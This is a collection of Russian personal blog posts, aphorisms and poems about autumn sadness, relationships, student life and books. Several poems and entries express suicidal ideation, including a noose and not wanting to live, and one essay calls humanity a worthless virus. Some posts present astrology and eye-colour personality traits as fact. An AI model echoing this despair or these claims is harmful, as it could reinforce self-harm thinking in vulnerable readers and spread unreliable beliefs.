Начать с тоскливого "Гностицизма" Ганса Йонаса, потом заполировать "Валисом" Дика. Потом снова перечитать "Гностицизм" Йонаса, но методом нарезки с "Валисом" Филиппа Дика.

Если моё отсутствие ничего не меняет в вашей жизни, то моё присутствие в ней уже не имеет никакого значения.

© Бернард Шоу

так мао тех, чьи старые фото вызывают чувства, кого хочется разглядывать, и потирая пальцем центр снимка, говорит:"Он мне так тогда нравился!"

На Руси называли любимого мужчину — «Свет очей моих», потому что мужчина — это Путь, это стрела, указывающая восхождение в верхние миры.
Любящая женщина восхищенно смотрит на своего любимого, как на свет, который помогает ей не забыть себя.
А женщину звали — «Душа моя». Потому что она напоминает то, ради чего только и есть смысл двигаться этим Путём. Всё только для души. Нет смысла ни в чем: ни в войнах, ни свершениях, ни в познании, ни в способностях — если забыта душа.

Один не разберет, чем пахнут розы,
Другой из горьких трав добудет мед,
Кому-то мелочь дашь, навек запомнит,
Кому-то жизнь отдашь, а он и не поймет.

© Омар Хайям

Не тратьте жизнь на тех, кто вас не ценит,
На тех, кто вас не любит и не ждёт,
На тех, кто без сомнений вам изменит,
Кто вдруг пойдёт на "новый поворот".

Не тратьте слёз на тех, кто их не видит,
На тех, кому вы просто не нужны,
На тех, кто, извинившись, вновь обидит,
Кто видит жизнь с обратной стороны.

Не тратьте сил на тех, кто вам не нужен,
На пыль в глаза и благородный понт,
На тех, кто дикой ревностью простужен,
На тех, кто без ума в себя влюблён.

Не тратьте слов на тех, кто их не слышит,
На мелочь, не достойную обид,
На тех, кто рядом с вами ровно дышит,
Чьё сердце вашей болью не болит.

Не тратьте жизнь, она не бесконечна,
Цените каждый вдох, момент и час,
Ведь в этом мире, пусть не безупречном,
Есть тот, кто молит небо лишь о вас!

Спустя огромное количество времени, я лежу в кровати и снова печатаю огромный и никому не нужный текст. Уже почти год я ничего не писала, потому что нашла для себя альтернативный вариант развития событий, я попросту создала документ в «ворде» и писала туда все, что считала нужным. Личный блог без паролей, сайтов, интернета и прочей ерунды. Смотри, кто захочет, читай кому нужно. И оставляй все самое важное для себя на видном месте и будь уверен – никто не прочтет. Почему я снова тут? На меня напала осенняя тоска, знаете, когда на улице холодает, дни становятся короче, а по утрам из кровати совсем не хочется вылезать, вот в такие минуты моя жизнь превращается в существование. И так каждую осень, не важно, как обстоят дела в жизни, если за окном деревья окрашены в золотистые цвета и спешат избавиться от балласта, а с неба льет как из ведра, будьте уверены у меня началась осенняя депрессия. Причем происходит это совершенно не произвольно. Помню, как в первые дни осени шла и дышала уже почти морозным воздухом, вдыхала аромат сырости и улыбалась, потому что на душе было легко. Я тогда еще подумала про себя, что возможно эта осень будет не так ужасна, как все остальные, но теперь, находясь в теплой кровати и испытывая дискомфорт от мысли о завтрашнем походе на работу, появляется некое отвращение ко всему, кроме теплого одеяла. Рассердить меня может любая мелочь, абсолютно. И таких мелочей сегодня за день было очень много, не могу контролировать себя, раздражает абсолютно все, настроение на нуле. И хотя я понимаю, что просто нужно переждать это время, что все мои психи скоро пройдут, жизнь у меня не самая плохая, а за окном скоро выглянет солнышко, обязательно выглянет, даже несмотря на все эти факты, желание к жизни просто исчезло. Единственное, чего бы мне хотелось – вести амебный образ жизни, пока за окном не покажется весна.

Никогда никого не слушай. Никогда ни на кого не надейся. Никогда ни от кого ничего не жди. Просто возьми и сделай все сам. Поверь, это намного проще.

Какой бы сильной ни была женщина, она ждет мужчину сильнее себя. И не для того, чтобы он ограничивал ей свободу, а для того, чтобы он дал ей право быть слабой.

© Эрих Мария Ремарк

Знаешь, было выражение типа пойду на улицу - подышу свежим воздухом. Тебя удивляет почему "было"? Да потому что я уже забыла что такое свежий воздух. Комфортно себя чувствую только в квартире, и то не римскую проветрить. А что из-за того что горят или тлеют эти торфяники под городом. Я задыхаюсь…. А это все эти суки, явно из-за выборов все. С чего бы что-то горело под городом в октябре при +8 когда дожди? Они там свои траблы решают а люди задыхаются…

А у меня какая-то осенняя хандра. Сама не знаю, что накатило. Но я так сильно загрустила, что закрылась ото всех. Я слишком устала проводить выходные с ребятками, что уже около недели просто сижу дома. Смотрю сериалы, дорамы, читаю книжки, занимаюсь собой, сплю по 16 часов, ужас. Но мне так хорошо. Порой нужны такие выходные, когда тебя никто не тревожит. Правда я очень обидела Лизу и Алину, тем, что поставила авиа режим и даже на звонки не отвечала, но я исправлюсь. Мне просто нужно очнуться и снова войти в режим работы. А ещё в связи с тем, что я много сплю, мне начали сниться сны и это печалька какая то. В них мне веяно изменяетесь Даня или влюбляется в кого то. Я просыпаюсь всегда разбитая. Короче, надо опять мало спать и работать, что бы не забивать голову всякой ерундой)

никого не впускай в свой мир. там слишком личное, обнаженное и до дерзости провокационное. закрывай двери после мимо проходящих людей, злые сквозняки часто вытягивают все наружу. всю душу.

а я чувствую в воздухе повисло напряжение недосказанности. невыполненности. гадкий такой дурман. зловонный. что не так? не то. пальто не то. и мы не те.

почему так сложно просто попрощаться. неужели проще нам терзать друг друга кинжалами, огнестрелами. посмотри на нас. ярче солнца сияют зияющие раны. на нас с тобой.

давай все просто будет. и по-классике пропитано банальщиной. удалим телефоны, диалоги и эйфорийные запахи. который на двоих один. на нас с тобой.

давай попробуем быть искренними хотябы минуту. давай смотреть в глаза и не притворяться. от приторности тошнит уже, милый мой. ты не мой котик. я не твоя принцесса.

прощай.

Те из вас, кто подписан на мой твиттер, уже, наверное, поняли, что я заселилась в общежитие. И тут нереально круто! Я просто на седьмом небе от осознания этого.

Начало истории. Мой вуз, сам того не понимая, сделал мне прекрасный подарок на день рождения - место в общежитии около главного корпуса. Я так его хотела летом, когда писала заявление! И вот в понедельник я совершенно случайно поднялась к деканату с Ириной (а могла бы пойти домой, но решила идти с ней). Там я увидела одногруппницу Аделину с ее подругой. Они сказали, что их переселяют из самого дальнего общежития в это. Какие-то африканцы не прибыли, и поэтому там много мест. Я загорелась этой идеей. Побежала к заведующей всеми этими вопросами. Минут десять мялась у дверей и стеснялась зайти. Потом решилась. Объяснила, что мне дали место летом в самом дальнем, а мне ближе из дома приезжать.

— Можно мне получить место на Татищева?.. - робко спросила я.

— Курс?

— Первый.

— Факультет?

— Филологии и журналистики.

— Да, место для тебя есть, - эта женщина села за компьютер. - Будешь жить с девочкой из Индонезии.

Я вышла в огромной радости. Позвонила маме. Она тоже очень обрадовалась. Весь следующий день с самого утра я бегала с документами и ждала подписи декана. Все было готово только около пяти, оставалось оплатить. Приехал папа, мы забрали маму с работы и поехали оплачивать и покупать необходимое. К семи мы приехали с вещами.

Заселение и проживание. У меня просто обалденно классная соседка! Ее зовут Анджела (ударение на последнюю букву). Ей 21, но выглядит на 16. Она очень добрая и интересная. Не могу забыть момент, как мы во время знакомства заговорили об инстаграме.

— У тебя есть инстаграм? - спросила я.

— Дааа! - ответила она с такой радостью, будто это что-то прекрасное и интересное для нее. Мы показали друг другу свои странички. У нее такие классные фотографии! Она, как и я, любит фотографировать природу и просто делать красивые фото. Увидев мои фото, она начала с горящими глазами смотреть те, на которых пейзажи. Ей очень понравилось. Мы даже договорились вместе пойти как-нибудь на мост и пофотографировать оттуда реку и лес.

Она нормально говорит на русском, но на английском намного лучше. Я помогаю ей с русским, так как она не всегда все понимает. Например, ее очень удивил мой вопрос насчет соседней комнаты: "Там свет горит?" Ну, как свет может гореть? Это для иностранца просто шок и небольшой испуг. Я ей объяснила, что мы так говорим. Еще она узнала от меня такие слова, как "гайморит" и "сутулиться" (не спрашивайте как, просто мы узнаем друг друга лучше :D). Она любит делать уроки с музыкой, и музыка такая хорошая! Спокойная, мелодичная, приятная. Минут десять назад были пара песен из сериала "Хор". Так круто! А еще я хочу больше рассказать ей о нашей культуре и ходить с ней в интересные места. К нам вчера приходила африканка София, и они говорили на английском друг с другом. Пообещали, что скоро я буду им владеть более, чем свободно. :)

У нас международное общежитие. Изначально областным и вообще россиянам сюда не пробиться. Тут и из Африки, и Туркменистана, и Китая много людей, и кого только нет. Вот за стеной живет африканка Нана. Еще несколько африканок у нас в крыле, туркменки, азербайджанки, еще кто-то - не помню.

По вечерам у нас очень вкусно пахнет: кто-то грибы с картошечкой жарит, кто-то курицу запекает, кто-то мясо. А я ем всякую ерунду быструю. :D На самом деле, я решила эту неделю питаться абы как, ибо очень хочется, а со следующей следить за питанием и записаться в тренажерный зал. Он, кстати, у нас в подвале! То есть никуда идти не надо. У нас очень чисто и уютно. Мне, как совершеннолетней, возвращаться можно до двенадцати (т.е. в полночь быть здесь). Но мне и ходить-то некуда, кроме как в магазин за пятилитровой бутылкой воды. А еще Алёша живет недалеко. :D

Мне здесь так уютно. Намного больше, чем с прошлыми соседками и уж тем более хозяйками… Мы с Анджелой, бывает, отвлечемся от уроков и поговорим о какой-то ерунде. С ней и молчать нетягостно совсем. И это прекрасно. Мне нравится слышать музыку из корридора, всякие разговоры на других языках и все в этом роде. А еще плюс - иногда наши занятия проходят на пятом этаже нашего общежития. То есть иногда будет так, что мне после занятия нужно будет просто спуститься к себе на третий. Ну не прекрасно ли? :)

Аня, моя одногруппница из другого крыла, обещала познакомить меня со всей общагой. Так этого жду!

Надеюсь, вам сейчас так же хорошо, как и мне. И пусть все и дальше будет хорошо. Пока!

Вот постоянно ною, мол хочу парня, отношения, любовь, вся эта херобора, а на деле то. Как только начинаются эти звонки, это вот начало всего, так мне вот изначально интересно да, первый день просто хлопаю в лодошки, а на следующий день я просто не хочу ничего абсолютно. Или я привыкла быть одной, или мне дйсвительно на самом деле лучше одной. Даже думаю, что возможно, я хочу отношения лишь потому, что так надо, надо выйти замуж, родить детей. А если не идти по этой схеме ? А если жить в свое удовольствие ? Пускай мне в старости не будет кому подать воды, или что там еще делают внуки, забивают на тебя болт и не хотять приежать ? Зато ты всегда будешь тратить деньги только на себя, на путешествия какие-то, множество новых знакомств.
Нет, на самом деле еще просто скорей всего не нашелся тот человек, с которым я действительно хочу отношений, и откармливать детей, а потом и внуков. Но, я готова к тому, что он так и не найдется.

То, как ты поступаешь по отношению к другим людям, вернется к тебе рано или поздно. Это закон окончательного возврата. Он не имеет ничего общего с наказанием или вознаграждением. Так устроен мир. Ты получаешь то, что посылаешь. Это неизбежно.

Гдееее сделать УЗИ брюха???? Нееет я не беременная, я просто задолбалась от тупых врачей, скажите адрес и никто не пострадает!

Я из тех девушек, для которых какие-то факты из астрологии являются действительно значимым аргументом. Вместе с этим еще и совпадения чисел на часах (например, 14:14 или 15:51, всегда смотрю значение этого времени, если интуитивно чувствую, что нужно), тайна имени, но сейчас не об этом, а лишь о рыбах . Вот среди ваших знакомых есть люди, которые по знаку Зодиака Рыбы? Если это вы и есть, то можете перестать читать пост уже тут

Вы никогда не замечали, что они любят всё перевирать, какие-то важные детали опускать, а где-то что-то придумывают свое, приукрашивая. И нет, они не врут, а сами искренне верят, что на самом деле все было именно так, как говорят они. Просто. Интересно. Совпадения это у меня в жизни такие или же тут действительно рыбки постарались?

• NEKTO • ASK • TWITTER

Я часто думаю о том, как круто получить свое прозвище, ведь имя данное при рождении ничего не значит. Оно не определяет тебя в отличие от народного имени.

У нас на работе есть Челяба. Нетрудно догадаться, что он родом из Челябинска, и прозвище у него как нельзя кстати. Создает впечатление простого и дружелюбного человека. Так и есть.


Меня в школе называли монашкой. И то за глаза. Если не привередничать, можно сказать, что правда была где-то посередине. Иногда прозвище попадает прямо в точку.

Уже через неделю приезжает Женя, и хочется верить, что с его возвращением, а впоследствии и с Роминым, всё изменится, все вернется на круги своя: опять будут нескончаемые разговоры обо всем на свете, никаких секретов и потерянных за дни невстреч мыслей и чувств, не прозвучавших в общем диалоге, будут правда и доверие, мы вместе против целого мира. Я так хочу все это обратно, и чувствую себя такой жалкой и отстойной от того, что не могу иметь всего этого и без Ромы.

насыщенная студенческая жизнь. пары/практика и снова. недели не то что пролетают, они проносятся с космической скоростью так быстро, что я не успеваю осознать, что же, черт возьми происходит. с оценками всё хорошо и это не может не радовать. подготовишки по русскому проходят замечательно, по биологии хорошо, по химии удовлетворительно. кстати, уходя сегодня с химии даже не хотелось плакать от ощущения собственной тупости - то ли тема полегче, то ли я начинаю вникать. короче говоря, свет в конце тоннеля горит всё ярче :D

наконец села за конкурсное эссе на тему будущей профессии. жутко избито. пора бы этим ребятам придумать нечто новенькое. но, портфолио пополнять необходимо, особенно, теперь, в условиях проекции поступления на вышку. черновой вариант готов, завтра отдам на суд преподавателя. снова ввязалась в научно - практическую, только теперь по предмету медицинских катастроф. очень уж милый у нас дедушка преподаватель, всегда добр и отзывчив к нам, поэтому, не могла отказаться от идеи поработать с ним, к тому же, он просто восхитительный специалист в своей сфере. так что, удачи нам :)

с конца октября новая нагрузка - курсы по менеджменту для получения еще одного, страхового, так скажем, диплома.

и вроде бы все замечательно. но. но осталось еще офорление стенда в колледже, и, разумеется, именно к завтрашнему дню. сон отменяется. меня тут обвиняют в гулянках и походам по клубам. ах, если бы было время! беззаботная безалаберность, где же ты?)

Чудесно и ужасно, что каждый из нас даже не представляет чем может обернуться завтрашний день. У каждого есть возможность в любое время любого дня полностью изменить свою жизнь. Не прекрасно ли это? И ведь именно это заcтавляет брать по-максимому от этого дня, который больше никогда не повторится.

Китти предположил, что мышка, которая каждую ночь скребёт за стенкой, тем самым не давая нам спать, считает нас друзьями и хочет прогрызть дырочку, чтобы к нам выбраться.

Как хорошо, что совершенно нет поводов звонить и бежать к нему обратно. У него ещё нескоро день рождения и слава Богу, нет нужды в нём вообще.. а скучание, благо, и не появлялось ни в один из дней.

Пока сегодня еще не кончился, хочу успеть оставить этот след будущего из прошлого в нашем настоящем.

BACK TO THE FUTURE!

Только задумайтесь о том, что в 1985 году 2015 казался недоступной точкой, в которую Док перенесся с Марти! 21.10.2015 никогда больше не повторится, абсолютно никогда. И это именно тот день, когда Марти увидел вылезающую акулу из табло кинотеатра, полетал на летающем-скейтборде, одел мою любимую куртку и кроссы, которые сами подстраивались под его телосложение. В 85 сегодня казалось невообразимым будущим , а теперь это наше настоящее . А 85 остался в прошлом Какая смешная штука время, правда?


2015?
Хочешь сказать, что мы в будущем ?

All I'm saying is, мне просто очень нравится, что я прожила день, в котором когда-то очутился Марти! По-моему, это очень круто и интересно!

Бесит, когда люди считают, что они крутые и им на все посрать, хотя это далеко не так. Снимйте маски! Не обманывайте себя. Ибо бесите своим выпендрежничеством. На себя посмотрите, а потом что-то говорите о других. В чужих глазах соринку ищите, а в своих полено огромное торчит!

Особым элементам из моей жизни посвещается.

P.S. или меняйтесь или вы бараны и вскоре вы покините мою жизнь) Ибо бесите

Я не знаю, я как разберусь в себе. то сразу отпишусь

День 247: Ваше мнение об алкоголе и наркотиках

почему бы и нет? И вот Даг Стенхоуп мне помогает:

"Наркотики расширили моё сознание и позволили мыслить вне вашей ёбаной реальности, сигареты дали мне терпение чтобы сесть и записать эти мысли в приемлемом комедийном формате, который вы можете понять. А алкоголь придаёт мне смелости выступать тут перед вами, осуждающими мудилами, и делать это с камерами на четверть миллиона долларов, смотрящими мне в рожу. "

День 248: Кому Вы чаще всего пишите?

В конфу "секс в большом городе". Там Лена, ВЕра, КИпр и Босс

День 249: Если бы Вы знали, что вы завтра умрёте, сказали ли бы Вы что-нибудь кому-нибудь?

я бы сказала, что завтра умру. И распустила бы сопли всем своим братишкам

У меня тут сложилась крайне неприятная ситуация, и я не знаю, как мне поступить.

Не буду раскрывать все подробности данного греха, но, когда я была в Нью-Йорке, туда приехала одна моя знакомая. Вообще, она жила в городе недалеко от Нью-Йорка, и виделись мы раз в неделю, когда она приезжала туда. Первые пару раз она приезжала одна, затем стала приезжать с другом. И когда я уже прилетела обратно, мы стали достаточно хорошо общаться с этим другом, и выяснилось, что он в нее влюбился. Более того, она вроде тоже ответила ему взаимностью. Все бы хорошо, НО: я знаю, что у нее здесь, в России есть парень и встречаются они приличное количество времени.

Тот парень из Америки просто голову потерял из-за нее, и я не знаю, что мне делать. Я не могу ему сказать, что у нее здесь серьезные отношения, что она изменила всем, кому могла, потому что я, может быть, знаю недостаточно, чтобы делать такие выводы. Но и говорить ему, что все будет хорошо, и они будут вместе я тоже уже не могу, потому что мне открывается все больше того, что всего этого не будет.

Я не знаю, как мне поступить в этой ситуации, и должна ли я вообще что-то делать. Есть советы\предложения? Дайте знать, пожалуйста.

Сегодня ходила на дебют первокурсников, очень понравилось) Море эмоций и позитива) Вечером пошла на тверк, сегодня занятие было еще кручеее))) *_*
И я серьезно, начало получатьсяяяя трясти задницей. Короче, блин, было очень-очень круто.

Артуру подключили интернет, весь день мне писал, а минут 15 назад сказал "приходи в любое время теперь) ".
ахаха :D
ДОТА! привет!)

Сегодня вышла на практику по инфектологии в 6:30 утра, дубарь, я только в жилетке, еле маршрутка приехала, захожу в поликлинику - никого нет, учитель почти на час опоздала, потом ливень, а пора домой, а зонта нет, я вся мокрая после бронхита.Пошла купила ликеру, пью.Завтра семинар - Оля не в одном глазу.

без всякой фальши, которой я кормлю себя исправно, пришло то, что зовется "нет стимула жить снова". схлестнулись "я выхожу за порог такая обреченная, пусть видят" и "нет же! будем улыбаться, есть шанс наладить Жизнь". я опасаюсь, что на меня посмотрят как на человека "здесь и сейчас", а не на человека, которым стану в будущем (закадровый конвульсионный смех). не очень ловко мне.не унять и не унять, и не унять ревности к реальным чужим жизням. и нет доверия, доверия, доверия вроде бы и к искренним словам.

Что важнее: кем быть или каким быть?
Сочинение для школьной олимпиады по русскому языку
20.10.2015

Рано или поздно любой ребенок или подросток начинает думать о том, кем они хотят стать. Совсем скоро и мне предстоит столкнуться с проблемой выбора профессии. Но не каждый человек, даже в сознательном возрасте, может ответить на вопрос: " Каким он хочет быть?"

Британский писатель Джордж Оруэлл в своем произведении "1984" написал: " Но если цель - не остаться живым , а остаться человеком , тогда какая в конце концов разница?" Но что же значит эта цитата?

В нашем мире ни одна сводка новостей не обходится без информации об убийствах, кражах, войнах и прочем. Это действительно пугает. В бедах одних людей виноваты другие. В мире царит раздор, пусть мы и не всегда это замечаем.

Дело в том, что не смотря на обстоятельства, человек всегда должен оставаться честным, благоразумным , мудрым , лояльным . Ведь быть человечным - значит быть живым.

В вопросе: "Что важнее: кем быть или каким быть?" я выберу второе, ибо неважно, министр ты или продавец, актер или преподаватель. Важно лишь то, какими мы есть в душе. Все мы - люди.

не знаю, почему я захотела поделиться этим. просто впервые за долгое время я получила истинное наслаждение и удовольствие от написания школьного сочинения. пыталась все уместить в лимит (12 предложений), так что вышло скомкано. но я доволен.
буду рада, если вы выскажете свое мнение об моем недо-сочинении.
♥ спасибо ♥

конец предпоследней записи в дневнике: 'исправь все, но ненавязчиво'. конец последней записи в дневнике: 'безликие вечера'.

Ебана гордость внутри меня не даёт жить нормально, сука, бесит, бесит тот чувак в зеркале, ненавижу его и его сраную гордыню. Не способность делать первый шаг как нистарайся ничего не выходит, лучше уж умереть внутри что ли.

Находясь на волосок, а скорее даже на нескольких волосках от смерти ни о чем не задумываешься. Совершенно. Совсем. Жизнь не проносится перед глазами, твоя реакция немного затормаживается, ты просто наблюдаешь, наблюдаешь за происходящим и надеешься, что тебя не заденет. Или надеешься, если совсем депрессия. В общем-то, мне было все равно. Я где-то между. Ты прекращаешь распоряжаться жизнью (а распоряжался ли вообще?) в этот момент, все отдаешь воле случая, судьбе, как угодно.
Думаю, все, абсолютно все в этот день вело нас к этому моменту: подруга, вернувшаяся за зонтом, я, решившая в последний момент, переодеть майку, а после и свитер. Это как в тех фильмах, когда показывают каждый маленький момент, маленький случай, кусочек жизни, которые цепляясь друг за друга, приводят людей к чему-то общему, к чему-то важному. И каждый такой маленький момент имеет значение. И вот это общее было показано нам кем-то специально, кем-то сверху, кем-то снизу, кем-то кем-то. Мне кажется, всё это далеко не просто так, кажется, нужно было задуматься о жизни, начать хоть иногда допускать мысль о неминуемой гибели в любой момент. Кажется, ничего не сработало, кажется, все было зря. В итоге живы и хорошо. Как данное. Забыли, не вдохновились, разве что на написание сего сумбурного поста. Существуем дальше. Такие вот дела.

зарекаться про новую жизнь и год не писать стихи
сто второй понедельник коту под хвост
к четвертой подряд сигарете подносишь огни
и думаешь, когда ты успел эту жизнь воспринять всерьез?

где твои шутки, твой смех, твой про'клятый оптимизм
и куча таких же качеств, что были в списке?
а теперь ты сидишь на крыше и смотришь вниз
попивая шампанское, подумывая о риске

оборваны все твои связи, дружбы, и, между прочим,
под светом лампы в ночной тиши,
ты вспоминаешь, что кто-то тебе пророчил
" пожалуйста, не спеши "

удивительно, напившись до бессознания,
ты не думаешь о принятии каких-либо мер.
тебе интересно: если любовь - это ад,
то объект её - Люцифер?

тебе кто то дал прикурить сигарету, а я не
хочу больше жить на земле.
я не хочу вспоминать то лето, которое умерло непонятно где.
ты вешаешь пальто на крючок для одежды, а я надеваю на шею петлю. ничего, ничего не будет, как прежде и мне очень жаль и вот я стою средь жизни и смерти.
кто следующий?
в очередь, господа.
куда же делись ваши надежды ?
ваш оптимизм ?
это все ерунда ?
ты просто идешь средь случайных прохожих, ты ничего не значишь для них.
ты даже не знаешь насколько мечтаю я оказаться там хотя бы на миг.
просто пройти мимо увидев снова твое лицо.
я сею наши семена уже заранее увядших цветов.
я помню твои глаза.
в них лес,
и море
и даже ветер
в них было все. даже наша последняя встреча.
ты смотришь те фильмы? ты смотришь дни, где все хорошо?
Я всегда вижу их перед сном
реверс чтобы не стереть в порошок
скажи, ты помнишь еще все, что было?
скажешь-забыл. я забыть не смогла.
мысли о смерти, веревка и мыло
В легкие наливая смолу
я твержу все громче и плача
я
тебя
забыть
не смогу.

я не знаю, кто автор.
но он будто пережил все то, что пережила я.
буквально.

День 12: Лучший совет, который Вы когда-либо слышали или давали.

Вы, дорогие мои, все еще помните, что я не даю советы? Так что сейчас буду стараться припомнить лучший совет, который мне давали.

Хм… На самом деле вопрос довольно сложный. Мне в жизни давали много советов и по поводу моей внешности и по поводу моих каких-то решений и, черт возьми, даже по поводу того, как мне правильно за котом ухаживать, так что…

Я не могу выделить что-то конкретное. Думаю, что в каждый момент времени какой-то совет казался мне важным и нужным, а немного погодя я думала, что это полная ерунда.

Думаю, что каждый данный мне совет, который так или иначе изменил мою жизнь к лучшему, может относиться сюда.

Самая смешная штука, которая со мной происходит, так эта та, что я пишу о тех вещах, которые стали для меня приятным воспоминанием. Я полагаюсь на прошлый опыт и мысли, стараясь вытаскивать из них что-то особенное и проносить новизну. Я действительно забыла о том, как искать книги, истории и различных колоритных персонажей. Такое ощущение, что хорошие книги уже приходят сами в мои руки, а не они пытаются нарыть их где-то в книжных магазинах и интернете. Будто бы мой лимит на время исчерпан и мне дали н количество времени для того, чтобы весь этот опыт перенести в реальную жизнь! И я не знаю, как к этому относиться. Но позволю помочь тем, кто находится в состоянии книжного похмелья, требующее от тебя новых приключений и слов, которые затронут что-то в глубине твоей души и поселятся там навсегда.

В ПОИСКАХ КНИЖНОГО ПОХМЕЛЬЯ
статья выложена на сайте føle

Прогуливаясь среди бесконечных стеллажей книжного магазина, присматриваясь невольным взглядом к тому, что лежит около таблички «мировые бестселлеры» осознаешь, что человеку, не ограничивающему себя в рамки «5-и обязательных книг в год» с каждым разом становится все труднее найти что-то действительное цепляющее, что-то, что не хочется выпускать из рук, что-то, что заставляет глаз и сердце «гореть» и после ознакомительной аннотации. Хорошие истории требуют длительного поиска, а поиск — времени, которого в иной час оказывается не достаточно, чтобы отсеять «бедную» и однообразную литературу, которая из года в год выпускается штамповочным конвейером, претендующим на пародии на действительно значимые произведения прошлого. Случается, что истории, завернутые в дешевый мягкий переплет, напечатанные на обычной газетной, порой офсетной бумаге, заключают в себе интересную идею, помноженную качество исполнения, что в итоге равняется книге, которую хочется продержать в руках дольше 5 минут. Весьма удручает, что порой подобные «жемчужины» пылятся в дальнем углу нижней полки в самом конце магазина, ведь на них нет привлекающей таблички, что это читает весь мир. Это не значит, что популярные бестселлеры абсолютно не пригодны для чтения. Но порой в погоне за коммерческим успехом в произведении пропадают искренность, индивидуальность и тонкая нить, связывающая реальный мир с безграничным миром слов, что так и хочется, экспрессивно вмахнув руками, прокричать как Станиславский: «Не верю!» Засмотревшись на стеллажи, где красуются популярнейшие бестеллеры от Стефани Майер до короля ужасов Кинга, на обложках которых написаны восторженные отзывы, не сразу заметишь полки, где лежат книги, которые не попадутся на глаза просто так. За ними придет человек, который будет отчаянно искать не только из-за «книжного похмелья» (неспособность начать новую книгу, потому что живешь в мире предыдущей), но ради поиска тех произведений, после прочтения которых не осталось горького осадка «где-то я читал это раньше».

Он найдет «Источник» Айн Рэнд, где герои отстаивают свободу творческой личности в борьбе с обществом, где ценят «равные возможности» для всех. Заглянет в коллекцию Ф.С Фицджеральда и окунется в эпоху вечного джаза, его чаяний и разочарований, обернется и увидит историю Лизель Мемингер из книги о силе слов и способности книг вскармливать душу под названием «Книжный Вор». Неподалеку будет стоять «Бремя страстей человеческих» от Сомерсета Моэма, который привлечет темными и светлыми сторонами человеческой души. А дальше – Vanity Fair, нет, не журнал, а «Ярмарка Тщеславия». Где «увидят зрелища самые разнообразные: кровопролитные сражения, величественные и пышные карусели, сцены из великосветской жизни, а также из жизни очень скромных людей, любовные эпизоды для чувствительных сердец, а также комические, в легком жанре, — и все это обставлено подходящими декорациями и щедро иллюминовано свечами за счет самого автора». А если очень повезет, то найдете единственный экземпляр «Коробки в форме сердца» от сына Короля ужасов, который в узких кругах уже давно перенял эстафетную палочку, где его читатели будут окружены мистической «готикой», которая едва не сведет с ума. Можно долго продолжать подобный список, но будет гораздо интересней, если свой собственный вы пополните сами. Мы живем в эпоху современных технологий, где интернет-поиск поможет найти все, что душе угодно. Стоит лишь ввести хэштэги #классика #youngadult #детективы #современное и появится огромный список произведений, на которых, увы, нет электронного расширенного фильтра «на наш вкус», который бы облегчил поиск «той самой книги». Но нет ничего более интересного, чем отправится в большой книжный магазин и бродить среди огромных полок, не смотря на вывески, указывающие что читать модно, а доверять себе и своей интуиции. Не только обращать внимание на привлекательную обложку или громкое название, а стараясь понять, для вас ли это, опираясь на аннотацию и несколько страниц, которые, как правило, уже дают некое представление о стиле и качестве повествования. Пусть изредка это утомляет, но несколько часов в компании атмосферной «книжной» тишины стоят счастливого выхода под мышкой с тем, что так отчаянно искал. С тем, что снова погрузит в «книжное похмелье» и не отпустит еще долгое время.

День 8: Вещи, которые заставляют Вас грустить.

Я не самый позитивный человек по жизни, на самом деле. Но и далеко не пессимист.
Тем ни менее грустить меня заставляют многие вещи.

1. Когда что-то идет совсем не по плану, а ты себе уже прекрасно представляла как все будет.

2. Когда я читаю грустную книгу, или фанфик, или смотрю фильм. Особенно, если без ХЭ

3. Когда мой котик царапает меня и не хочет сидеть у меня руках.

4. Когда нужно идти к врачу. И тут становится очень грустно, когда понимаешь, что денег надо приготовить много.

5. Кстати, когда нету денюжки тоже грустненько.

Да на самом деле есть много мелочей, которые могут выбить из колеи и заставить взгрустнуть. Это только небольшой список)

Кареглазые – это посланцы огня.
Они, как правило, импульсивны и страстны. А поэтому – конфликтны, не любят признавать правоту других, стоят на своем до конца. В работе им нет равных, на работе они горят. Но при этом требуют постоянного одобрения и похвал от окружающих, ведь огонь не может гореть без подпитки. Они обладают хорошим вкусом, любят все красивое. Еще они очень избирательно относятся к людям. Тех, кто им симпатичен, они могут согреть. Тех, кто ненавистен, - опалить и сжечь.

День 7: Шоу или фильм\сериал, который изменил Вас. Как изменил?

Честно сказать, я не знаю что ответить на этот вопрос. Я посмотрела много хороших сериалов и еще больше хороших фильмов. И каждый из них по своему повлиял на меня.

Какие-то фильмы/сериалы заставляют задуматься над жизнью и над тем, на что я ее трачу. Другие заставляют верить в магию и волшебство. Третьи просто веселят и развлекают.

Так что мне кажется, что нету такого фильма/сериала, который бы оказал на меня большое влияние. По крайней мере, я этого не заметила.

Никто не может точно знать, что ждёт его впереди, я не знаю, что будет завтра, или через неделю, не могу заглянуть в будущее и открыть для себя тайну моего завтрашнего дня. Незнание порой наталкивает на мысль о том, что мне надоело быть марионеткой судьбы и знание моей предрешенной участи никак бы не изменилоконечного результата, но жить с этим было бы явно проще.

Я бы просто шла по этой намеченной тропе, не оборачиваясь назад, не сворачивая на иной путь, а просто следовала бы своему предназначению, если таковое имеется конечно.

Порой мне кажется, что наша жизнь не только полностью лишена смысла, но и еще постепенно наводит нас на мысли о том, что наше существование неизбежно должно вести нас к нашему уничтожению, за ненадобностью и ущербностью. Но есть одно но, это наше легкомыслие. Оно заставляет нас забыть о том, что мы на самом деле никчемны, что мы просто вирус, который постепенно уничтожает ту среду, в которой он обитает, а затем ищет пути переселения для последующего заражения всех близлежайших подходящих объектов.

Мы рождаемся, боремся за жизнь так, как спасаем и убиваем других, мним из себя царей мира, но так ли это? Ни один человек на свете не достоин спасения, каким идеальным он бы не был.

Даже теория золотого миллиона ошибочна, даже такое колличество людей сможет сотворить что угодно, не станет жить в мире и всё равно будет уничтожать всё, что его окружает. Даже один человек не сможет жить не прининяя никому вред.

Мы - это ошибка эволюции, побочный эффект мутаций и изменений другого вида, которого никогда не должно было существовать.

Покажите мне хоть одного человека, чья жизнь была бы оправданием нашему существованию и я признаю, что ябыла не права, но пока его нет, моя теория будет верна.

Теперь когда я слышу слово "Schatz"

Меня так и тянет проблюваться…

Сначчала с ума сводишь, а потом другую шлюху находишь

Да какая я к черту Schatz? Раз ты об чувства мои ноги вытер

Встал и из жизни моей тихонько вышел…

И в пустоте квартир сигарету куря и повторяю сквозь слезы

"Ich liebe dich..liebe mein traumann"

Schatz..Schatz….Schatz…

Сокровище которое ты так и не смог полюбить…

Когда внутри у женщины солнце, в его лучах невозможно не согреться. И такой женщиной невозможно не любоваться. Она становится красивой просто потому, что светится изнутри.

Мне то хорошо, то плохо, точнее либо есть настроение, либо оно никакущее. Какое-то нестабильное эмоциональное состояние. Больна я, наверное :D Еще загоняюсь часто. Могу думать обо всякой фигне по делу и без дела. Тупо разрушаю себя.

